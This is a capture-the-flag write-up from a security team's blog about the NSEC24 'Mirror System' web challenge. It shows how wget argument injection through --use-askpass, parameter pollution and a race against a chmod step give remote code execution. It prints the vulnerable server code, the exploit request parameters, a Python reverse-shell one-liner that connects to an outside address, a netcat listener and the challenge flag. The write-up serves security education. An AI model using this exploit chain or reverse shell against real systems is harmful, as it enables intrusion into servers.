Hubert Hackin''
  • All posts
  • About
  • Our CTF

NSEC24 Mirror System - Mon, May 20, 2024 - Sideni

Look at yourself just like Mr Wellington looks at himself in the mirror, a great crusty beef wellington cooked to perfection! | Web | Nsec24

The mirror system is simple; you show it something (an URL) and it shows it back (what is hosted there, at least).

The Magic || ɔiϱɒM ɘʜT

const WGET_BIN_PATH = '/usr/bin/wget'
const CHMOD_BIN_PATH = '/usr/bin/chmod'
const NGINX_PATH = '/var/www/nginx'
const STATIC_PATH = NGINX_PATH + '/static/tmp'

# ...

  const args = [
    '--no-cookies',
    '--timeout=120',
    '--tries=3',
    '--no-check-certificate',
    '-r',
    '-P',
    STATIC_PATH
  ];

  if (ctx.request.body && ctx.request.body.url) {
    // Make sure we can write our result in the tmp folder
    execFileSync(CHMOD_BIN_PATH, ['-R', '700', STATIC_PATH]);

    // Fetch our content
    execFile(WGET_BIN_PATH, args.concat(ctx.request.body.url), null, (err, _, stderr) => {
      if (!err && stderr.includes('Saving to: ‘')) {
        // If the program ran successfully, make sure we can read the file
        // and send the output in the HTTP response
        var filePath = stderr.split('Saving to: ‘')[1].split('’\n')[0];
        var file = fs.createReadStream(filePath);
        file.on('end', function() {
          fs.rmSync(path.dirname(filePath), { recursive: true, force: true });
        });
        ctx.type = 'hmtl';
        ctx.set('Content-type', 'text/html');
        ctx.body = file;

        return resolve(ctx.body);
      } else {
        ctx.status = 500;

        if (err) {
          ctx.body = err.stack;
        } else {
          ctx.body = "An unknown error has occured.";
        }

        // Make sure we cleanup the tmp folder just in case
        fs.readdirSync(STATIC_PATH).forEach(f => fs.rmSync(`${STATIC_PATH}/${f}`, { recursive: true, force: true }));

        return resolve(ctx.body);
      }

The STATIC_PATH directory is being chmod recursively to 700 (rwx——). All files inside that folder and subfolders will be given these permissions. In addtion, this is where wget will save retrieved files. This is specified by the -P argument.

As seen in the wget manpage.

       -P prefix
       --directory-prefix=prefix
           Set directory prefix to prefix.  The directory prefix is the directory where all other
           files and subdirectories will be saved to, i.e. the top of the retrieval tree.  The
           default is . (the current directory).

Why Would I Care? || ⸮ɘɿɒƆ I blυoW γʜW

There’s a nice argument in wget which is --use-askpass. Let’s read the manpage again.

       --use-askpass=command
           Prompt for a user and password using the specified command.  If no command is specified
           then the command in the environment variable WGET_ASKPASS is used.  If WGET_ASKPASS is
           not set then the command in the environment variable SSH_ASKPASS is used.

           You can set the default command for use-askpass in the .wgetrc.  That setting may be
           overridden from the command line.

The caveat here is that the “command” needs to be a file which will be executed. It cannot be a “complete” command. That’s not a big deal, we can have the server download a file of our choice.

The Issue || ɘυƨƨI ɘʜT

Our file will not have the “execute” permission set when uploaded. The chmod command runs before we download our file on the server and once it’s been reflected in the mirror of our soul, it is removed for eternity (just like my dreams…) Also, we can’t really add more than one argument to the argument list to do more argument injecting. All of that because it concats our single url to the argument list…

Let’s “Force Du Cou” || “ᴜoƆ ᴜꓷ ɘɔяoᖷ” ƨ’Ɉɘ⅃

Would it be possible to have two requests doing a race where the first would upload our file to be executed and the second would make it executable via the recursive chmod and use the --use-askpass argument to run it before it gets removed?

Wait For Me! || !ɘM яoᖷ ɈiɒW

Have you ever heard of parameter pollution? It is possible to send two URLs in our request and in that case, both will be received by the server as a list of URLs.

What would happend if we send this first request?

url=http://shell.ctf:3333/test.txt&url=http://shell.ctf:5555

Where test.txt contains the following:

#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("9000:6666:6666:6666:216:3eff:feb1:8d80",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And where the shell.ctf port 5555 is being listened on with nc -6 -lnvp 5555.

The test.txt file is being downloaded by the server first and then, as long as netcat is listening (or that the timeout is not reached), the wget command will hang before letting the server remove the downloaded files.

You Know What That Means? || ⸮ƨnɒɘM ɈɒʜT ɈɒʜW ᴡonꓘ ᴜoY

While this first wget hangs, we can send a second request with the following parameters:

url=--use-askpass=/var/www/nginx/static/tmp/shell.ctf:3333/test.txt&url=http://shell.ctf

Note that we still set a second URL because wget wouldn’t be valid otherwise. With an opened netcat listener, we should get back a reverse shell to retrieve our precious flag. FLAG-57199b590846fa71df8dfa468a5d9e5d

Back to Home


Hackez la Rue! | © Hubert Hackin'' | 2024-05-27 | theme hugo.386